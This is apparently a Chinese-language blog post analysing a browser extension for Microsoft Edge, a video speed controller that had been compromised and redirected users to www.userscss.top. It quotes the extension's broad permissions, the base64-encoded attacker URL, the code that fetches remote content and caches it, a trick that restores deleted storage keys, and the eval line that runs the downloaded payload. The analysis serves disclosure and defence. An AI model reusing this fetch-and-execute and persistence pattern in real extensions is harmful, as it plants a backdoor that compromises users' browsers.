
先说结论:罪魁祸首是它(“万能视频速度控制”),避雷!经查这个插件已经从 Edge 官方商店下架。
最近我遇到一个很隐蔽的问题:在 Windows 上打开 Microsoft Edge 时,浏览器有概率会跳到一个奇怪的域名:www.userscss.top
火绒会拦截这个访问,所以第一反应是“可能中毒了”。但比较麻烦的是,火绒的查杀并没有直接定位出问题文件或恶意扩展。
接下来出于好奇我看了看这网站到底是什么:

假如它已经取得了本地进程权限,应该不需要再忽悠我手动下载额外软件。于是我怀疑问题可能藏在浏览器扩展里。
然后我逐个检查扩展的manifest.json、后台脚本、内容脚本和外联域名。

这批扩展里,最终锁定的可疑扩展是:
扩展 ID:fddlkjnpacaegckjnfapolkpnlnopdml
名称:万能视频速度控制
版本:3.1.4
它的清单文件里权限非常大:
"permissions": [
"tabs",
"webRequest",
"downloads",
"storage",
"webNavigation",
"alarms",
"declarativeNetRequest",
"scripting"
],
"host_permissions": [ "<all_urls>" ]
这些权限组合起来,相当于能够:监听网页请求、监听页面导航、操作标签页、注入脚本、写入本地存储、通过 Declarative Net Request 添加重定向规则、在所有网站上运行。
对于一个“视频速度控制”扩展来说,这个权限明显偏大。
真正的证据出现在它的后台脚本:fddlkjnpacaegckjnfapolkpnlnopdml/3.1.4_0/js/all.js
里面出现了这样一段 base64 字符串:aHR0cDovL3d3dy51c2Vyc2Nzcy50b3A,解码后是http://www.userscss.top。
这个插件我的安装来源是Microsoft Edge的官方插件商店,并且已经用了很多年,显然是最近遭到了污染。目前该插件已经从Microsoft Edge的官方插件商店完全下架。
进一步看代码后,可以整理出它的触发机制:manifest.json指定了后台 service worker:js/all.js,这意味着,只要 Edge 启动并加载这个扩展,js/all.js 就会运行。不需要用户点击扩展按钮,也不需要打开某个特定网站。
js/all.js 中会调用类似逻辑:
await f("UserStyle", "aHR0cDovL3d3dy51c2Vyc2Nzcy50b3A")
函数会从这个地址拉取内容,并把返回结果缓存到 chrome.storage.local 里,键名是 UserStyle。
它还做了 24 小时缓存判断。也就是说,恶意内容不一定每次都从网络获取。一旦拉取成功,它可能会在本地缓存里继续存在。
代码里还监听了 chrome.storage.onChanged。如果 app 或者 UserStyle 相关键被删除,它会把旧值写回去。这属于一种轻量级持久化手段,在扩展自己的本地存储层做删除恢复。
后面它会继续加载:
importScripts("/js/ui.min.js", "/js/background.js")
其中 ui.min.js 会轮询 UserStyle,从缓存内容里取出某一行,再进行自定义解压,然后执行。
关键逻辑类似:
let e = r.v.split("\n")[5].split("。")[1];
n.getEvalInstance(self)(n.Lz(e));
这里的意思大概是:
- 从远程返回内容中取第 6 行;
- 按中文句号
。切分; - 取后半段;
- 用
Lz()解压; - 交给内置解释器执行。
所以真正的跳转逻辑,未必直接写在扩展包里,而是由 userscss.top 下发。
补充一下:top域名为什么会沦为灰产常用
主要原因有几个:
- 注册便宜:top域名的首年注册价格大约在人民币14元。
- 身份门槛低:属于开放注册的新 gTLD。
- 注册局管理不积极:注册局本身有反滥用政策,但实际上几乎不会真的去管理(网友评价,存疑)。
top名字本身容易伪装“正常”- 目前抢注较少,可以很容易地注册到其它大型知名项目的域名。
目前我的capos项目主域名还是capos.top,将会尽早迁移。